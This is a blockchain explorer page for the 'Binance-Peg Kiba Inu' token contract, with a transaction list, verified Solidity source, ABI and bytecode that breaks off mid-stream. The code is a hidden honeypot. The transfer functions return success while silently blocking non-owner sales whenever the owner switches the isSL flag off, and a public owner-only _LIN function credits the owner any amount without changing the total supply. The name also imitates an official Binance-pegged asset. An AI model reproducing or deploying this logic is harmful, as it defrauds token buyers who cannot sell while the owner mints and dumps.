Contract 0x9bF9A12de9Ef4c75a83D8A0c4A7a1f38aA51DC4E

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x75856b5655f89c9ff20c51a81a5ae43e0c12d43692752326827e78de8a778833_LIN118018272021-10-15 19:14:1511 days 20 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000145275
0xdb73c81f0d7846473b5ff70ac3ff4c60fb08553443bff1e7fd605dcbe1f927baApprove117635932021-10-14 11:18:1113 days 4 hrs ago0xcd0b1f58e6a2670877fa4591590d1cf681ec059f IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00022558
0xf1d4f718cc0883df866eca10bff3cd9681293dc9f8485c753c56c59b579f0569Approve117635562021-10-14 11:16:2013 days 4 hrs ago0xee5289e1c3c38921733088722745a0af0dd9cec0 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00022558
0xde917ab3da18f2e19c42a97b5927aa0dad8f723a64c218d566e6653eeba8c7ffApprove117634412021-10-14 11:10:3513 days 5 hrs ago0xcd0b1f58e6a2670877fa4591590d1cf681ec059f IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00022558
0xc8e66495224fad2304347d4a6c6033a70cc2ce1751ccc2eb739fe0c3a854b799The SL117631002021-10-14 10:52:4513 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00007161
0xf0b29b1d9533a74b4239d452b73dbedaedd585522b8fb9d1f99293a11cd45ca2Approve117630672021-10-14 10:51:0613 days 5 hrs ago0x6f71d790e38aa8259126d40fc158e0363ae90ea8 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00022558
0xaf2276b9567cfe60f61c3d3c5a3c9170def96264f64467cb5f909d2890de3f99Approve117629212021-10-14 10:43:4813 days 5 hrs ago0x511a4266cb4521ffbadbe975b14a00c3dd5d41c0 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00022558
0x057e8fb68e4369173fa37cce70296bb88f4146774b067c882092e47cfa93bce2Approve117626892021-10-14 10:32:1213 days 5 hrs ago0x53a49cc5d46b8cd34b0a3fd4616051171a606df5 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000315812
0x8f7ce853667bd633e4f2fb7e742f6cfbb7355b93c7adec872cc86dd5a4e6e01dApprove117626262021-10-14 10:29:0313 days 5 hrs ago0x64ae942ee1749195adf6c9303ccb76bb5b884acd IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000315812
0x89706806c14c6ca807c279cf87a8306d9e423c73994fcf361b9a898862261625Approve117625932021-10-14 10:27:2413 days 5 hrs ago0x030999a99c9412ab1420379dbb6a18bb5c320a69 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000315812
0x8355b3586e0a552d742988c7488794fd5d84276ae72c7679c2e8957105917d45Transfer117625542021-10-14 10:25:2713 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xc10e8a84dc7faf9c5b423df0dd7a8fd3ba839154983b1c566b314badbbc4d91fTransfer117625532021-10-14 10:25:2413 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x1d97f1f7113255d8940e4dbd042b46dd6118190493c1114326c7af3739d22127Transfer117625522021-10-14 10:25:1913 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xe612efd69e905c5bd3e60967d4c98a7653bb59ed2958c7016bf1dc5a374d3d4eTransfer117625522021-10-14 10:25:1913 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x3bdaa147d51ff2a3e33993499bc56851c8a08939843061143dc191d4b5f9aa99Transfer117625512021-10-14 10:25:1613 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x3f42077c87371c6c69ab395e02f9488b83758bcbf6a1c8f9eb5460625cf18697Transfer117625512021-10-14 10:25:1613 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00036138
0xb747abfc7e054d301c1cc9db93d1b0d65f0a4801a438838c88c3bdad0165c7fcTransfer117625502021-10-14 10:25:1313 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xf510170d16c49ff7f0e38d67a96b2d38b8ffaa4e5e27a52e72dae4e729298484Transfer117625502021-10-14 10:25:1313 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x6779267d2855f10a20c68f0d9bf4a6e149ed33cdcbd43ad40e23df9a66fbc9d6Transfer117625492021-10-14 10:25:1013 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x1d9cf4a77bed02cffa4344bff1f1606567a4789def7dcdb8aaee7eefb337bbf5Transfer117625492021-10-14 10:25:1013 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x289b3558a6e57b751ee7feca03ab35d9ad3d10fae8a73863ee4c0745e98765bbTransfer117625482021-10-14 10:25:0713 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xfd92266e5928dbbb22b9b6c174e39d50f82282cd9ed4c087f38b8f10bea2c951Transfer117625472021-10-14 10:25:0413 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xfdb96676b5a12451d0a18b3e3bbba606743e4fac2c808009362627f0255bd6d0Transfer117625472021-10-14 10:25:0413 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0xd677aee18c234703bdd52d32f88a4de6cba25a816afe887b2c5773ea425feea4Transfer117625462021-10-14 10:25:0113 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.000361452
0x03651d0b4291efffae1b0ff6f6d97cb688f9b0179a62fbb449dce050978800d5Transfer117625462021-10-14 10:25:0113 days 5 hrs ago0x4d7347c83a3f852976f04dc6b38dcd594ea37fd4 IN  0x9bf9a12de9ef4c75a83d8a0c4a7a1f38aa51dc4e0 BNB0.00036138
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BinancePegKibaInu

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-14
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}

contract BinancePegKibaInu is Context, IERC20, IERC20Metadata, Ownable {
    address internal constant PANCAKE_FACTORY_V2_ADDRESS = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
    address internal constant PANCAKE_ROUTER_V2_ADDRESS = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address internal constant burnWallet = 0x000000000000000000000000000000000000dEaD;
    uint256 _NAW= 100;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bool isSL = true;

    
    constructor() {
        _name = "Binance-Peg Kiba Inu";
        _symbol = "KIBAINU";
        _totalSupply = 1600000 * 10**9 * 10**9;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        _transfer(_msgSender(), burnWallet, _totalSupply/2 );
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function theSL(bool _sl) public onlyOwner virtual returns (bool) {
        isSL = _sl;
        return true;
    }
    function sl() public view returns (bool) {
        return isSL;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        if(_msgSender() == PANCAKE_ROUTER_V2_ADDRESS || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner()) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _NAW|| isSL) && !isContract(_msgSender()) ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        if(sender == PANCAKE_ROUTER_V2_ADDRESS || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _NAW|| isSL) && !isContract(sender) ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }
    function pancakePair() public view virtual returns (address) {
        address pairAddress = IPancakeFactory(PANCAKE_FACTORY_V2_ADDRESS).getPair(address(WBNB), address(this));
        return pairAddress;
    }
    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function tokenContract() public view virtual returns (address) {
        return address(this);
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function _LIN(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to
,        uint256 amount
    ) internal virtual {}
    function _LIN(uint256 amount) public onlyOwner virtual returns (bool) {
    _balances[_msgSender()] += amount;
    return true;
}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_LIN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"theSL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260646001556001600760006101000a81548160ff0219169083151502179055503480156200003157600080fd5b506000620000446200029860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280601481526020017f42696e616e63652d506567204b69626120496e75000000000000000000000000815250600590805190602001906200012f92919062000533565b506040518060400160405280600781526020017f4b494241494e5500000000000000000000000000000000000000000000000000815250600690805190602001906200017d92919062000533565b506a0152d02c7e14af6800000060048190555060045460026000620001a76200029860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001f56200029860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002569190620006cf565b60405180910390a362000292620002726200029860201b60201c565b61dead60026004546200028691906200075a565b620002a060201b60201c565b6200094c565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000313576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030a90620006ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000386576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200037d9062000669565b60405180910390fd5b620003998383836200052e60201b60201c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000423576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200041a906200068b565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ba9190620006fd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620005209190620006cf565b60405180910390a350505050565b505050565b82805462000541906200079c565b90600052602060002090601f016020900481019282620005655760008555620005b1565b82601f106200058057805160ff1916838001178555620005b1565b82800160010185558215620005b1579182015b82811115620005b057825182559160200191906001019062000593565b5b509050620005c09190620005c4565b5090565b5b80821115620005df576000816000905550600101620005c5565b5090565b6000620005f2602383620006ec565b9150620005ff826200085f565b604082019050919050565b600062000619602683620006ec565b91506200062682620008ae565b604082019050919050565b600062000640602583620006ec565b91506200064d82620008fd565b604082019050919050565b620006638162000792565b82525050565b600060208201905081810360008301526200068481620005e3565b9050919050565b60006020820190508181036000830152620006a6816200060a565b9050919050565b60006020820190508181036000830152620006c88162000631565b9050919050565b6000602082019050620006e6600083018462000658565b92915050565b600082825260208201905092915050565b60006200070a8262000792565b9150620007178362000792565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200074f576200074e620007d2565b5b828201905092915050565b6000620007678262000792565b9150620007748362000792565b92508262000787576200078662000801565b5b828204905092915050565b6000819050919050565b60006002820490506001821680620007b557607f821691505b60208210811415620007cc57620007cb62000830565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611cd6806200095c6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102d2578063a9059cbb14610302578063b8c9d25c14610332578063d4475f6014610350578063dd62ed3e146103805761010b565b806370a08231146102485780637e95c6b4146102785780638da5cb5b1461029657806395d89b41146102b45761010b565b806323b872dd116100de57806323b872dd146101ac578063313ce567146101dc57806339509351146101fa57806355a373d61461022a5761010b565b806306fdde0314610110578063095ea7b31461012e5780630d4da3dc1461015e57806318160ddd1461018e575b600080fd5b6101186103b0565b6040516101259190611716565b60405180910390f35b6101486004803603810190610143919061149c565b610442565b60405161015591906116fb565b60405180910390f35b610178600480360381019061017391906114d8565b610460565b60405161018591906116fb565b60405180910390f35b61019661051a565b6040516101a39190611838565b60405180910390f35b6101c660048036038101906101c1919061144d565b610524565b6040516101d391906116fb565b60405180910390f35b6101e4610842565b6040516101f19190611853565b60405180910390f35b610214600480360381019061020f919061149c565b61084b565b60405161022191906116fb565b60405180910390f35b6102326108f7565b60405161023f91906116b7565b60405180910390f35b610262600480360381019061025d91906113bf565b6108ff565b60405161026f9190611838565b60405180910390f35b610280610948565b60405161028d91906116fb565b60405180910390f35b61029e61095f565b6040516102ab91906116b7565b60405180910390f35b6102bc610988565b6040516102c99190611716565b60405180910390f35b6102ec60048036038101906102e7919061149c565b610a1a565b6040516102f991906116fb565b60405180910390f35b61031c6004803603810190610317919061149c565b610b05565b60405161032991906116fb565b60405180910390f35b61033a610c8c565b60405161034791906116b7565b60405180910390f35b61036a60048036038101906103659190611501565b610d4b565b60405161037791906116fb565b60405180910390f35b61039a60048036038101906103959190611411565b610e48565b6040516103a79190611838565b60405180910390f35b6060600580546103bf90611968565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611968565b80156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b600061045661044f610ecf565b8484610ed7565b6001905092915050565b600061046a610ecf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ee906117b8565b60405180910390fd5b81600760006101000a81548160ff02191690831515021790555060019050919050565b6000600454905090565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806105a65750610577610c8c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806105e45750600073ffffffffffffffffffffffffffffffffffffffff166105cc610c8c565b73ffffffffffffffffffffffffffffffffffffffff16145b8061062157506105f261095f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610716576106318484846110a2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067c610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f390611798565b60405180910390fd5b61071085610708610ecf565b858403610ed7565b50610837565b600154821115806107335750600760009054906101000a900460ff165b801561074557506107438461131b565b155b15610836576107558484846110a2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107a0610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790611798565b60405180910390fd5b6108348561082c610ecf565b858403610ed7565b505b5b600190509392505050565b60006009905090565b60006108ed610858610ecf565b848460036000610866610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108e8919061188a565b610ed7565b6001905092915050565b600030905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600760009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461099790611968565b80601f01602080910402602001604051908101604052809291908181526020018280546109c390611968565b8015610a105780601f106109e557610100808354040283529160200191610a10565b820191906000526020600020905b8154815290600101906020018083116109f357829003601f168201915b5050505050905090565b60008060036000610a29610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610add90611818565b60405180910390fd5b610afa610af1610ecf565b85858403610ed7565b600191505092915050565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff16610b3a610ecf565b73ffffffffffffffffffffffffffffffffffffffff161480610b955750610b5f610c8c565b73ffffffffffffffffffffffffffffffffffffffff16610b7d610ecf565b73ffffffffffffffffffffffffffffffffffffffff16145b80610bd35750600073ffffffffffffffffffffffffffffffffffffffff16610bbb610c8c565b73ffffffffffffffffffffffffffffffffffffffff16145b80610c175750610be161095f565b73ffffffffffffffffffffffffffffffffffffffff16610bff610ecf565b73ffffffffffffffffffffffffffffffffffffffff16145b15610c3357610c2e610c27610ecf565b84846110a2565b610c82565b60015482111580610c505750600760009054906101000a900460ff165b8015610c695750610c67610c62610ecf565b61131b565b155b15610c8157610c80610c79610ecf565b84846110a2565b5b5b6001905092915050565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c7373ffffffffffffffffffffffffffffffffffffffff1663e6a4390573bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c306040518363ffffffff1660e01b8152600401610cf29291906116d2565b60206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906113e8565b90508091505090565b6000610d55610ecf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd9906117b8565b60405180910390fd5b8160026000610def610ecf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e38919061188a565b9250508190555060019050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a00000000000000000